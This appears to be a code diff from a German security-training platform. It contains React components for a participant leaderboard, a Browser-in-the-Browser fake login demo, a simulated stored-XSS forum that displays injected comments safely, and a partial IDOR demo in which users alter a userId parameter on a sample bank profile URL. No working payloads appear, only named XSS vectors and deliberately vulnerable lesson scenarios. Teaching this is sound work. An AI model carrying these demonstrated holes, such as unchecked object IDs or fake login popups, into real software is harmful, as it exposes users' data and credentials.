}
};
if (loading) {
return null;
}
return (
<div className="card" style={{ marginBottom: '2rem' }}>
<div
style={{
display: 'flex',
justifyContent: 'space-between',
alignItems: 'center',
cursor: 'pointer'
}}
onClick={() => setCollapsed(!collapsed)}
>
<h3 style={{ margin: 0 }}>🏆 Top Participants</h3>
<span style={{ fontSize: '1.25rem', color: '#6b7280' }}>
{collapsed ? '▼' : '▲'}
</span>
</div>
{!collapsed && (
<div style={{ marginTop: '1rem' }}>
{/* Search/Filter Input */}
<div style={{ marginBottom: '1rem' }}>
<input
type="text"
value={filterText}
onChange={(e) => setFilterText(e.target.value)}
placeholder="Search by participant name..."
style={{
width: '100%',
padding: '0.75rem',
border: '2px solid #e5e7eb',
borderRadius: '0.375rem',
fontSize: '0.875rem',
fontFamily: 'inherit'
}}
/>
<div style={{ fontSize: '0.75rem', color: '#6b7280', marginTop: '0.25rem' }}>
💡 Tip: Try searching for different participants to filter results
</div>
</div>
{leaderboard.length === 0 ? (
<p style={{ color: '#6b7280', fontSize: '0.875rem' }}>
{filterText ? `No participants found matching "${filterText}"` : 'No participants yet. Be the first to complete lessons!'}
</p>
) : (
<div style={{ display: 'flex', flexDirection: 'column', gap: '0.5rem' }}>
{leaderboard.map((entry, index) => (
<div
key={entry.id}
style={{
display: 'flex',
alignItems: 'center',
padding: '0.75rem',
background: index < 3 ? '#fef3c7' : '#f9fafb',
border: '1px solid #e5e7eb',
borderRadius: '0.375rem'
}}
>
<div style={{
width: '2rem',
fontWeight: 'bold',
fontSize: '1.25rem',
color: index === 0 ? '#f59e0b' : index === 1 ? '#9ca3af' : index === 2 ? '#c2410c' : '#6b7280'
}}>
{index === 0 ? '🥇' : index === 1 ? '🥈' : index === 2 ? '🥉' : `${index + 1}.`}
</div>
<div style={{ flex: 1, marginLeft: '1rem' }}>
<div style={{ fontWeight: '600', color: '#1f2937' }}>
{entry.pseudonym}
</div>
<div style={{ fontSize: '0.75rem', color: '#6b7280' }}>
{entry.lessons_completed} lesson{entry.lessons_completed !== 1 ? 's' : ''} completed
</div>
</div>
<div style={{ textAlign: 'right' }}>
<div style={{ fontSize: '1.25rem', fontWeight: 'bold', color: '#2563eb' }}>
{entry.total_score}
</div>
<div style={{ fontSize: '0.75rem', color: '#6b7280' }}>
points
</div>
</div>
</div>
))}
</div>
)}
</div>
)}
{/* Jackpot Modal */}
{showJackpotModal && jackpotData && (
<div style={{
position: 'fixed',
top: 0,
left: 0,
right: 0,
bottom: 0,
background: 'rgba(0, 0, 0, 0.5)',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
zIndex: 9999
}}>
<div style={{
background: 'white',
padding: '2rem',
borderRadius: '0.5rem',
maxWidth: '500px',
textAlign: 'center',
boxShadow: '0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04)'
}}>
<div style={{ fontSize: '3rem', marginBottom: '1rem' }}>🎰</div>
<h2 style={{ color: '#10b981', marginBottom: '1rem', fontSize: '1.875rem' }}>
SQL Injection Jackpot!
</h2>
<p style={{ color: '#4b5563', marginBottom: '1.5rem', lineHeight: '1.6' }}>
{jackpotData.message}
</p>
<div style={{
fontSize: '2rem',
fontWeight: 'bold',
color: '#2563eb',
marginBottom: '0.5rem'
}}>
+{jackpotData.bonusPoints} Points
</div>
<div style={{ fontSize: '0.875rem', color: '#6b7280', marginBottom: '1.5rem' }}>
New Total: {jackpotData.totalScore} points
</div>
<button
onClick={() => {
setShowJackpotModal(false);
// Reload to show updated leaderboard
window.location.reload();
}}
style={{
padding: '0.75rem 2rem',
background: '#10b981',
color: 'white',
border: 'none',
borderRadius: '0.375rem',
fontSize: '1rem',
fontWeight: '600',
cursor: 'pointer'
}}
>
Awesome!
</button>
</div>
</div>
)}
</div>
);
};
export default EventLeaderboard;

View File

@ -109,12 +109,12 @@ const BitBDemo = ({ lessonData }) => {
)}
</div>
<div style={{ fontSize: '16px', color: '#5f6368', marginBottom: '24px' }}>
Sign in to continue
Anmelden, um fortzufahren
</div>
<input
type="email"
placeholder="Email or phone"
placeholder="E-Mail oder Telefon"
style={{
width: '100%',
padding: '12px',
@ -127,7 +127,7 @@ const BitBDemo = ({ lessonData }) => {
<input
type="password"
placeholder="Password"
placeholder="Passwort"
style={{
width: '100%',
padding: '12px',
@ -151,7 +151,7 @@ const BitBDemo = ({ lessonData }) => {
cursor: 'pointer'
}}
>
Sign in
Anmelden
</button>
</div>
@ -171,7 +171,7 @@ const BitBDemo = ({ lessonData }) => {
boxShadow: '0 4px 12px rgba(0,0,0,0.2)'
}}
>
{scenario.isReal ? '✅ REAL' : '⚠️ FAKE'}
{scenario.isReal ? '✅ ECHT' : '⚠️ FAKE'}
</div>
{/* Close Button */}
@ -192,7 +192,7 @@ const BitBDemo = ({ lessonData }) => {
zIndex: 10000
}}
>
Close Demo
Demo schließen
</button>
{/* Feedback Messages */}
@ -211,7 +211,7 @@ const BitBDemo = ({ lessonData }) => {
fontWeight: '500'
}}
>
Notice: This fake window cannot be dragged!
Hinweis: Dieses gefälschte Fenster kann nicht gezogen werden!
</div>
)}
@ -232,7 +232,7 @@ const BitBDemo = ({ lessonData }) => {
textAlign: 'center'
}}
>
Right-click works! This reveals it's just HTML, not a real browser.
Rechtsklick funktioniert! Das zeigt, dass es nur HTML ist, kein echter Browser.
</div>
)}
</div>
@ -246,7 +246,7 @@ const BitBDemo = ({ lessonData }) => {
{/* Test Instructions */}
<div style={{ marginBottom: '1.5rem', padding: '1rem', background: '#eff6ff', border: '1px solid #3b82f6', borderRadius: '0.375rem' }}>
<div style={{ fontWeight: '600', color: '#1e40af', marginBottom: '0.5rem' }}>
🔍 How to Test:
🔍 So testen Sie:
</div>
<ul style={{ margin: 0, paddingLeft: '1.5rem', fontSize: '0.875rem', color: '#1e3a8a' }}>
{testInstructions.map((instruction, idx) => (
@ -291,12 +291,12 @@ const BitBDemo = ({ lessonData }) => {
fontWeight: '500'
}}
>
Launch {scenario.provider} Login
{scenario.provider}-Login starten
</button>
{/* Indicators */}
<div style={{ marginTop: '1rem', fontSize: '0.75rem', color: '#6b7280' }}>
<div style={{ fontWeight: '600', marginBottom: '0.25rem' }}>Key Indicators:</div>
<div style={{ fontWeight: '600', marginBottom: '0.25rem' }}>Wichtige Indikatoren:</div>
<ul style={{ margin: 0, paddingLeft: '1.25rem' }}>
{scenario.indicators.slice(0, 3).map((indicator, idx) => (
<li key={idx} style={{ marginBottom: '0.125rem' }}>{indicator}</li>
@ -310,12 +310,12 @@ const BitBDemo = ({ lessonData }) => {
{/* Educational Note */}
<div style={{ padding: '1rem', background: '#fef3c7', border: '1px solid #f59e0b', borderRadius: '0.375rem', fontSize: '0.875rem' }}>
<div style={{ fontWeight: '600', color: '#92400e', marginBottom: '0.5rem' }}>
Important
Wichtig
</div>
<div style={{ color: '#78350f' }}>
In a real Browser-in-the-Browser attack, the fake popup would look identical to the real one.
The ONLY reliable way to detect it is by testing the physical behavior: Can you drag it outside the browser window?
Can you right-click the address bar and inspect it as HTML?
Bei einem echten Browser-in-the-Browser-Angriff würde das gefälschte Popup identisch zum echten aussehen.
Die EINZIGE zuverlässige Methode zur Erkennung besteht darin, das physische Verhalten zu testen: Können Sie es über das Browserfenster hinaus ziehen?
Können Sie mit der rechten Maustaste auf die Adressleiste klicken und sie als HTML untersuchen?
</div>
</div>
@ -323,7 +323,7 @@ const BitBDemo = ({ lessonData }) => {
{interactiveData.realWorldExamples && (
<div style={{ marginTop: '1.5rem', padding: '1rem', background: '#f9fafb', borderRadius: '0.375rem' }}>
<div style={{ fontWeight: '600', fontSize: '0.875rem', marginBottom: '0.75rem', color: '#1f2937' }}>
📰 Real-World BitB Attacks:
📰 BitB-Angriffe aus der Praxis:
</div>
<div style={{ display: 'grid', gap: '0.5rem' }}>
{interactiveData.realWorldExamples.map((example, idx) => (

View File

@ -0,0 +1,595 @@
import React, { useState, useEffect } from 'react';
import { participantAPI } from '../../../services/api.service';
const ForumScriptDemo = ({ lessonData, eventLessonId }) => {
const interactiveData = lessonData?.interactiveData || {};
const forumPost = interactiveData.forumPost || {};
const initialComments = interactiveData.initialComments || [];
const freeHints = interactiveData.freeHints || [];
const timeLimit = interactiveData.timeLimit || 900000; // 15 min default
const [comments, setComments] = useState(initialComments);
const [authorName, setAuthorName] = useState('');
const [commentText, setCommentText] = useState('');
const [loading, setLoading] = useState(false);
const [remainingTime, setRemainingTime] = useState(null);
const [timerStarted, setTimerStarted] = useState(false);
const [currentHint, setCurrentHint] = useState(null);
const [progress, setProgress] = useState({ discovered: 0, total: 9, remaining: 9 });
// Start timer on mount
useEffect(() => {
const startTimer = async () => {
try {
const response = await participantAPI.executeLessonAction(
eventLessonId,
'start-timer',
{ stepId: 'forum-demo' }
);
setTimerStarted(true);
setRemainingTime(timeLimit);
} catch (error) {
console.error('Failed to start timer:', error);
}
};
startTimer();
}, [eventLessonId, timeLimit]);
// Timer countdown
useEffect(() => {
if (remainingTime === null || remainingTime <= 0) return;
const interval = setInterval(() => {
setRemainingTime(prev => {
if (prev <= 1000) {
clearInterval(interval);
return 0;
}
return prev - 1000;
});
}, 1000);
return () => clearInterval(interval);
}, [remainingTime]);
const formatTime = (ms) => {
if (ms === null) return '--:--';
const minutes = Math.floor(ms / 60000);
const seconds = Math.floor((ms % 60000) / 1000);
return `${minutes}:${seconds.toString().padStart(2, '0')}`;
};
const addComment = async () => {
if (!commentText.trim()) return;
setLoading(true);
try {
const response = await participantAPI.executeLessonAction(
eventLessonId,
'add-comment',
{ author: authorName || 'Anonym', content: commentText, stepId: 'forum-demo' }
);
const newComment = response.data.data;
setComments([...comments, newComment]);
setCommentText('');
// Update progress
if (newComment.progress) {
setProgress(newComment.progress);
}
// Update remaining time from server
if (newComment.remainingTime !== undefined) {
setRemainingTime(newComment.remainingTime);
}
// Scroll to bottom to show new comment
setTimeout(() => {
const commentList = document.getElementById('comment-list');
if (commentList) {
commentList.scrollTop = commentList.scrollHeight;
}
}, 100);
} catch (error) {
console.error('Failed to add comment:', error);
} finally {
setLoading(false);
}
};
const requestHint = async () => {
try {
const response = await participantAPI.executeLessonAction(
eventLessonId,
'get-hint',
{ stepId: 'forum-demo' }
);
setCurrentHint(response.data.data);
} catch (error) {
console.error('Failed to get hint:', error);
}
};
const reloadForum = () => {
setComments(initialComments);
setAuthorName('');
setCommentText('');
};
const formatTimestamp = (timestamp) => {
if (!timestamp) return 'gerade eben';
const date = new Date(timestamp);
return date.toLocaleString('de-DE', {
month: 'short',
day: 'numeric',
hour: '2-digit',
minute: '2-digit'
});
};
const timeExpired = remainingTime === 0;
const progressPercent = (progress.discovered / progress.total) * 100;
return (
<div style={{ border: '1px solid #e5e7eb', borderRadius: '0.5rem', padding: '1.5rem', background: 'white' }}>
{/* Educational Warning */}
<div style={{
padding: '1rem',
background: '#fef3c7',
border: '2px solid #f59e0b',
borderRadius: '0.375rem',
marginBottom: '1.5rem'
}}>
<div style={{ fontWeight: '600', color: '#92400e' }}>
Nur zu Lehrzwecken
</div>
<div style={{ fontSize: '0.875rem', color: '#78350f', marginTop: '0.5rem' }}>
Dieses Forum demonstriert Stored-XSS-Schwachstellen. Es werden keine tatsächlichen Skripte ausgeführt - sie werden sicher als Text mit klaren Warnungen angezeigt.
</div>
</div>
<h4 style={{ marginBottom: '1rem', color: '#1f2937' }}>💬 Anfälliges Forum Demo</h4>
{/* Progress and Timer Bar */}
<div style={{
display: 'grid',
gridTemplateColumns: '1fr 1fr',
gap: '1rem',
marginBottom: '1.5rem'
}}>
{/* Progress Tracker */}
<div style={{
padding: '1rem',
background: '#f0fdf4',
border: '2px solid #10b981',
borderRadius: '0.375rem'
}}>
<div style={{ fontWeight: '600', color: '#065f46', marginBottom: '0.5rem' }}>
🎯 Fortschritt
</div>
<div style={{ fontSize: '1.5rem', fontWeight: '700', color: '#059669', marginBottom: '0.25rem' }}>
{progress.discovered} / {progress.total}
</div>
<div style={{ fontSize: '0.875rem', color: '#047857' }}>
Varianten entdeckt
</div>
{/* Progress bar */}
<div style={{
marginTop: '0.75rem',
height: '8px',
background: '#d1fae5',
borderRadius: '4px',
overflow: 'hidden'
}}>
<div style={{
width: `${progressPercent}%`,
height: '100%',
background: '#10b981',
transition: 'width 0.3s'
}}></div>
</div>
</div>
{/* Timer */}
<div style={{
padding: '1rem',
background: timeExpired ? '#fee2e2' : '#eff6ff',
border: `2px solid ${timeExpired ? '#ef4444' : '#3b82f6'}`,
borderRadius: '0.375rem'
}}>
<div style={{ fontWeight: '600', color: timeExpired ? '#991b1b' : '#1e40af', marginBottom: '0.5rem' }}>
Verbleibende Zeit
</div>
<div style={{
fontSize: '1.5rem',
fontWeight: '700',
color: timeExpired ? '#dc2626' : '#2563eb',
marginBottom: '0.25rem'
}}>
{formatTime(remainingTime)}
</div>
{timeExpired && (
<div style={{ fontSize: '0.875rem', color: '#991b1b', fontWeight: '600' }}>
Keine Punkte mehr verfügbar
</div>
)}
{!timeExpired && (
<div style={{ fontSize: '0.875rem', color: '#1e40af' }}>
Punkte verdienbar
</div>
)}
</div>
</div>
{/* Free Hints */}
<div style={{
padding: '1rem',
background: '#fef3c7',
border: '1px solid #fbbf24',
borderRadius: '0.375rem',
marginBottom: '1.5rem'
}}>
<div style={{ fontWeight: '600', color: '#78350f', marginBottom: '0.5rem' }}>
💡 Hinweise (kostenlos)
</div>
<ul style={{ margin: '0.5rem 0 0 1.5rem', fontSize: '0.875rem', color: '#92400e' }}>
{freeHints.map((hint, i) => (
<li key={i} style={{ marginBottom: '0.25rem' }}>{hint}</li>
))}
</ul>
</div>
{/* Hint Request Button */}
<div style={{ marginBottom: '1.5rem' }}>
<button
onClick={requestHint}
disabled={currentHint && currentHint.noMoreHints}
style={{
padding: '0.75rem 1rem',
background: currentHint && currentHint.noMoreHints ? '#9ca3af' : '#f59e0b',
color: 'white',
border: 'none',
borderRadius: '0.375rem',
cursor: currentHint && currentHint.noMoreHints ? 'not-allowed' : 'pointer',
fontWeight: '500',
fontSize: '0.875rem',
opacity: currentHint && currentHint.noMoreHints ? 0.6 : 1
}}
>
💡 {currentHint && currentHint.noMoreHints ? 'Alle Hinweise verwendet' : 'Gezielten Hinweis anfordern (-5 Punkte)'}
</button>
{currentHint && !currentHint.noMoreHints && (
<div style={{
marginTop: '0.75rem',
padding: '1rem',
background: '#fff7ed',
border: '2px solid #fb923c',
borderRadius: '0.375rem'
}}>
<div style={{ fontWeight: '600', color: '#9a3412', marginBottom: '0.5rem' }}>
Hinweis #{currentHint.hintsUsed}
</div>
<div style={{ fontSize: '0.875rem', color: '#7c2d12', marginBottom: '0.5rem' }}>
{currentHint.hint}
</div>
<div style={{ fontSize: '0.75rem', color: '#ea580c' }}>
Abgezogene Punkte: {currentHint.totalPointsDeducted}
</div>
</div>
)}
{currentHint && currentHint.noMoreHints && (
<div style={{
marginTop: '0.75rem',
padding: '1rem',
background: '#f3f4f6',
border: '2px solid #9ca3af',
borderRadius: '0.375rem',
color: '#6b7280',
fontSize: '0.875rem'
}}>
Keine weiteren Hinweise verfügbar
</div>
)}
</div>
{/* Forum Post */}
<div style={{
background: '#f9fafb',
border: '1px solid #e5e7eb',
borderRadius: '0.375rem',
padding: '1rem',
marginBottom: '1.5rem'
}}>
<div style={{ display: 'flex', alignItems: 'flex-start', marginBottom: '0.5rem' }}>
<div style={{
width: '2.5rem',
height: '2.5rem',
borderRadius: '50%',
background: '#3b82f6',
color: 'white',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
marginRight: '0.75rem',
fontWeight: '600'
}}>
A
</div>
<div style={{ flex: 1 }}>
<div style={{ fontWeight: '600', color: '#1f2937', fontSize: '1.125rem' }}>
{forumPost.title}
</div>
<div style={{ fontSize: '0.75rem', color: '#6b7280' }}>
Gepostet von {forumPost.author} {formatTimestamp(forumPost.timestamp)}
</div>
</div>
</div>
<div style={{ fontSize: '0.875rem', color: '#374151', marginTop: '0.5rem' }}>
{forumPost.content}
</div>
</div>
{/* Comments List */}
<div
id="comment-list"
style={{
maxHeight: '300px',
overflowY: 'auto',
marginBottom: '1rem',
border: '1px solid #e5e7eb',
borderRadius: '0.375rem',
padding: '1rem',
background: '#fafafa'
}}
>
<div style={{ fontWeight: '600', marginBottom: '1rem', color: '#374151' }}>
Kommentare ({comments.length})
</div>
{comments.map((comment, idx) => (
<div
key={comment.id || idx}
style={{
marginBottom: '1rem',
paddingBottom: '1rem',
borderBottom: idx < comments.length - 1 ? '1px solid #e5e7eb' : 'none'
}}
>
<div style={{ display: 'flex', alignItems: 'flex-start' }}>
<div style={{
width: '2rem',
height: '2rem',
borderRadius: '50%',
background: '#9ca3af',
color: 'white',
display: 'flex',
alignItems: 'center',
justifyContent: 'center',
marginRight: '0.75rem',
fontSize: '0.875rem',
fontWeight: '600'
}}>
{comment.author?.charAt(0).toUpperCase() || '?'}
</div>
<div style={{ flex: 1 }}>
<div style={{ fontSize: '0.875rem', fontWeight: '600', color: '#1f2937' }}>
{comment.author}
</div>
<div style={{ fontSize: '0.75rem', color: '#6b7280', marginBottom: '0.5rem' }}>
{formatTimestamp(comment.timestamp)}
</div>
{/* Comment Content - safely displayed */}
<div style={{ fontSize: '0.875rem', color: '#374151' }}>
{comment.content}
</div>
{/* Injection Warning */}
{comment.hasInjection && (
<div style={{
marginTop: '0.5rem',
padding: '0.75rem',
background: '#fee2e2',
border: '2px solid #ef4444',
borderRadius: '0.375rem'
}}>
<div style={{ fontWeight: '600', color: '#991b1b', fontSize: '0.75rem', marginBottom: '0.25rem' }}>
XSS ERKANNT: {comment.injectionType}
</div>
<div style={{ fontSize: '0.75rem', color: '#7f1d1d', marginBottom: '0.25rem' }}>
{comment.injectionDescription}
</div>
<div style={{ fontSize: '0.75rem', fontFamily: 'monospace', color: '#7f1d1d', background: '#fef2f2', padding: '0.25rem', borderRadius: '0.125rem' }}>
Bereinigt: {comment.sanitizedContent}
</div>
{comment.isNewDiscovery && (
<div style={{
marginTop: '0.5rem',
padding: '0.5rem',
background: '#ecfdf5',
border: '1px solid #10b981',
borderRadius: '0.25rem',
fontSize: '0.875rem',
color: '#065f46',
fontWeight: '600'
}}>
🎉 Neue Variante entdeckt! +{timeExpired ? '0' : '10'} Punkte
</div>
)}
</div>
)}
</div>
</div>
</div>
))}
</div>
{/* Add Comment Form */}
<div style={{
border: '1px solid #e5e7eb',
borderRadius: '0.375rem',
padding: '1rem',
background: '#f9fafb'
}}>
<div style={{ fontWeight: '600', marginBottom: '0.75rem', color: '#374151' }}>
Kommentar hinzufügen
</div>
<div style={{ marginBottom: '0.75rem' }}>
<input
type="text"
value={authorName}
onChange={(e) => setAuthorName(e.target.value)}
placeholder="Ihr Name (optional)"
style={{
width: '100%',
padding: '0.5rem',
border: '1px solid #d1d5db',
borderRadius: '0.375rem',
fontSize: '0.875rem'
}}
/>
</div>
<div style={{ marginBottom: '0.75rem' }}>
<textarea
value={commentText}
onChange={(e) => setCommentText(e.target.value)}
placeholder="Schreiben Sie hier Ihren Kommentar..."
rows={3}
style={{
width: '100%',
padding: '0.5rem',
border: '1px solid #d1d5db',
borderRadius: '0.375rem',
fontSize: '0.875rem',
fontFamily: 'inherit',
resize: 'vertical'
}}
/>
</div>
<div style={{ display: 'flex', gap: '0.5rem' }}>
<button
onClick={addComment}
disabled={loading || !commentText.trim()}
style={{
padding: '0.5rem 1rem',
background: loading || !commentText.trim() ? '#9ca3af' : '#3b82f6',
color: 'white',
border: 'none',
borderRadius: '0.375rem',
cursor: loading || !commentText.trim() ? 'not-allowed' : 'pointer',
fontWeight: '500',
fontSize: '0.875rem'
}}
>
{loading ? 'Poste...' : 'Kommentar hinzufügen'}
</button>
<button
onClick={reloadForum}
style={{
padding: '0.5rem 1rem',
background: '#6b7280',
color: 'white',
border: 'none',
borderRadius: '0.375rem',
cursor: 'pointer',
fontWeight: '500',
fontSize: '0.875rem'
}}
>
🔄 Forum neu laden
</button>
</div>
</div>
{/* Learning Tip */}
<div style={{
marginTop: '1rem',
padding: '1rem',
background: '#eff6ff',
border: '1px solid #3b82f6',
borderRadius: '0.375rem',
fontSize: '0.875rem'
}}>
<div style={{ fontWeight: '600', color: '#1e40af', marginBottom: '0.5rem' }}>
💡 Lerntipp
</div>
<div style={{ color: '#1e3a8a' }}>
Beachten Sie, wie eingeschleuste Skripte erkannt und sicher angezeigt werden. In einem echten anfälligen Forum würden diese Skripte für jeden Benutzer ausgeführt, der den Kommentar ansieht!
</div>
</div>
{/* Learning Resources */}
<div style={{
marginTop: '1rem',
padding: '1rem',
background: '#f0f9ff',
border: '1px solid #0ea5e9',
borderRadius: '0.375rem'
}}>
<div style={{ fontWeight: '600', color: '#0c4a6e', marginBottom: '0.75rem' }}>
📚 Lernressourcen
</div>
<div style={{ fontSize: '0.875rem', color: '#075985', lineHeight: '1.8' }}>
<div style={{ marginBottom: '0.5rem' }}>
<strong>HTML-Elemente:</strong>
</div>
<ul style={{ margin: '0 0 1rem 1.5rem' }}>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/HTML/Element/script" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
&lt;script&gt; Tag
</a> - Führt JavaScript-Code aus
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/HTML/Element/img" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
&lt;img&gt; Tag
</a> - Kann mit onerror Event-Handler missbraucht werden
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/SVG/Element/svg" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
&lt;svg&gt; Tag
</a> - Kann onload Event-Handler enthalten
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/HTML/Element/iframe" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
&lt;iframe&gt; Tag
</a> - Lädt externe Inhalte
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/HTML/Element/object" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
&lt;object&gt; Tag
</a> - Bettet externe Ressourcen ein
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/HTML/Element/embed" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
&lt;embed&gt; Tag
</a> - Bettet Plugins ein
</li>
</ul>
<div style={{ marginBottom: '0.5rem' }}>
<strong>JavaScript & Event-Handler:</strong>
</div>
<ul style={{ margin: '0 0 0 1.5rem' }}>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/API/Window/alert" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
alert() Funktion
</a> - Zeigt Dialogbox an (oft für XSS-Tests genutzt)
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/HTML/Attributes#event_handler_attributes" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
Event-Handler
</a> - onclick, onerror, onload, etc.
</li>
<li>
<a href="https://developer.mozilla.org/de/docs/Web/URI/Schemes/javascript" target="_blank" rel="noopener noreferrer" style={{ color: '#0284c7', textDecoration: 'underline' }}>
javascript: Protokoll
</a> - Führt JS-Code in URLs aus
</li>
</ul>
</div>
</div>
</div>
);
};
export default ForumScriptDemo;

View File

@ -0,0 +1,582 @@
import React, { useState, useEffect } from 'react';
import { participantAPI } from '../../../services/api.service';
const IDORDemo = ({ lessonData, eventLessonId }) => {
const interactiveData = lessonData?.interactiveData || {};
const baseUrl = interactiveData.baseUrl || 'https://securebank.example/profile';
const currentUserId = interactiveData.currentUserId || 55;
const easterEggsData = interactiveData.easterEggs || [];
const defaultUrl = `${baseUrl}?ref=dashboard&userId=${currentUserId}`;
const [fullUrl, setFullUrl] = useState(defaultUrl);
const [profile, setProfile] = useState(null);
const [loading, setLoading] = useState(false);
const [error, setError] = useState(null);
const [timeLeft, setTimeLeft] = useState(300); // 5 minutes = 300 seconds
const [timerActive, setTimerActive] = useState(false);
const [discoveries, setDiscoveries] = useState(new Set());
// Timer countdown
useEffect(() => {
if (!timerActive) return;
const timer = setInterval(() => {
setTimeLeft(prev => {
if (prev <= 1) {
setTimerActive(false);
return 0;
}
return prev - 1;
});
}, 1000);
return () => clearInterval(timer);
}, [timerActive]);
// Start timer on first interaction
useEffect(() => {
if (!timerActive && fullUrl !== defaultUrl) {
setTimerActive(true);
}
}, [fullUrl, timerActive, defaultUrl]);
const formatTime = (seconds) => {
const mins = Math.floor(seconds / 60);
const secs = seconds % 60;
return `${mins}:${secs.toString().padStart(2, '0')}`;
};
const parseUserIdFromUrl = (url) => {
try {
const match = url.match(/[?&]userId=(\d+)/);
return match ? parseInt(match[1]) : null;
} catch (error) {
return null;
}
};
const resetUrl = () => {
setFullUrl(defaultUrl);
setProfile(null);
setError(null);
};
const fetchProfile = async () => {
const userId = parseUserIdFromUrl(fullUrl);
if (!userId) {
setError('Ungültige URL - userId-Parameter fehlt oder ist ungültig');
setProfile(null);
setLoading(false);
return;
}
try {
setLoading(true);
setError(null);
const response = await participantAPI.executeLessonAction(
eventLessonId,
'fetch-profile',
{ userId: userId }
);
const data = response.data.data;
if (data.success) {
setProfile(data);
// Track discoveries
if (data.isUnauthorized) {
setDiscoveries(prev => new Set([...prev, userId]));
}
} else {
setError(data.message || 'Benutzer nicht gefunden');
setProfile(null);
}
} catch (error) {
console.error('Failed to fetch profile:', error);
setError('Fehler beim Laden des Benutzerprofils');
setProfile(null);
} finally {
setLoading(false);
}
};
const totalEasterEggs = easterEggsData.length;
const foundEasterEggs = easterEggsData.filter(egg => discoveries.has(egg.id)).length;
return (
<div style={{ border: '1px solid #e5e7eb', borderRadius: '0.5rem', padding: '1.5rem', background: 'white' }}>
{/* Educational Warning */}
<div style={{
padding: '1rem',
background: '#fef3c7',
border: '2px solid #f59e0b',
borderRadius: '0.375rem',
marginBottom: '1.5rem'
}}>
<div style={{ fontWeight: '600', color: '#92400e' }}>
Nur zu Bildungszwecken
</div>
<div style={{ fontSize: '0.875rem', color: '#78350f', marginTop: '0.5rem' }}>
Dies demonstriert eine IDOR-Schwachstelle, bei der Sie auf private Daten anderer Benutzer zugreifen können, indem Sie den URL-Parameter ändern. Dies ist eine sichere Simulation mit Beispieldaten.
</div>
</div>
{/* Timer and Discovery Tracker */}
<div style={{
display: 'flex',
gap: '1rem',
marginBottom: '1.5rem',
flexWrap: 'wrap'
}}>
{/* Timer */}
<div style={{
flex: '1',
minWidth: '150px',
padding: '1rem',
background: timeLeft < 60 ? '#fee2e2' : '#f0fdf4',
border: `2px solid ${timeLeft < 60 ? '#ef4444' : '#22c55e'}`,
borderRadius: '0.375rem'
}}>
<div style={{
fontSize: '0.75rem',
fontWeight: '600',
color: timeLeft < 60 ? '#991b1b' : '#166534',
marginBottom: '0.25rem'
}}>
Verbleibende Zeit
</div>
<div style={{
fontSize: '1.5rem',
fontWeight: 'bold',
color: timeLeft < 60 ? '#dc2626' : '#16a34a'
}}>
{formatTime(timeLeft)}
</div>
</div>
{/* Discovery Tracker */}
<div style={{
flex: '1',
minWidth: '150px',
padding: '1rem',
background: '#eff6ff',
border: '2px solid #3b82f6',
borderRadius: '0.375rem'
}}>
<div style={{
fontSize: '0.75rem',
fontWeight: '600',
color: '#1e40af',
marginBottom: '0.25rem'
}}>
🎯 Entdeckungen
</div>
<div style={{
fontSize: '1.5rem',
fontWeight: 'bold',
color: '#2563eb'
}}>
{foundEasterEggs} / {totalEasterEggs}
</div>
<div style={{
fontSize: '0.75rem',
color: '#1e40af',
marginTop: '0.25rem'
}}>
Gefundene Benutzer: {discoveries.size}
</div>
</div>
</div>
<h4 style={{ marginBottom: '1rem', color: '#1f2937' }}>🏦 IDOR-Schwachstellen-Demo</h4>
{/* Browser Mockup */}
<div style={{
border: '2px solid #d1d5db',
borderRadius: '0.5rem',
overflow: 'hidden',
background: 'white',
boxShadow: '0 4px 6px -1px rgba(0, 0, 0, 0.1)',
position: 'relative'
}}>
{/* Browser Chrome */}
<div style={{
background: '#f1f3f4',
padding: '0.75rem',
borderBottom: '1px solid #dadce0',
display: 'flex',
alignItems: 'center'
}}>
{/* Window Controls */}
<div style={{ display: 'flex', gap: '0.5rem', marginRight: '1rem' }}>
<div style={{
width: '12px',
height: '12px',
borderRadius: '50%',
background: '#ff5f56'
}}></div>
<div style={{
width: '12px',
height: '12px',
borderRadius: '50%',
background: '#ffbd2e'
}}></div>
<div style={{
width: '12px',
height: '12px',
borderRadius: '50%',
background: '#27c93f'
}}></div>
</div>
{/* Address Bar */}
<div style={{
flex: 1,
background: 'white',
border: '1px solid #dadce0',
borderRadius: '1rem',
padding: '0.5rem 1rem',
display: 'flex',
alignItems: 'center',
fontSize: '0.875rem',
fontFamily: 'monospace'
}}>
<span style={{ marginRight: '0.5rem', color: '#5f6368' }}>🔒</span>
<input
type="text"
value={fullUrl}
onChange={(e) => setFullUrl(e.target.value)}
onKeyPress={(e) => e.key === 'Enter' && fetchProfile()}
style={{
border: 'none',
outline: 'none',
flex: 1,
fontFamily: 'monospace',
fontSize: '0.875rem',
background: 'transparent',
padding: '0.125rem 0.25rem',
borderRadius: '0.125rem',
color: '#202124'
}}
/>
</div>
{/* Reset Button */}
<button
onClick={resetUrl}
disabled={loading}
style={{
marginLeft: '0.5rem',
padding: '0.5rem 0.75rem',
background: 'white',
color: '#5f6368',
border: '1px solid #dadce0',
borderRadius: '0.375rem',
cursor: loading ? 'not-allowed' : 'pointer',
fontSize: '0.75rem',
fontWeight: '500',
display: 'flex',
alignItems: 'center',
gap: '0.25rem'
}}
title="URL zurücksetzen"
>
</button>
{/* Navigate Button */}
<button
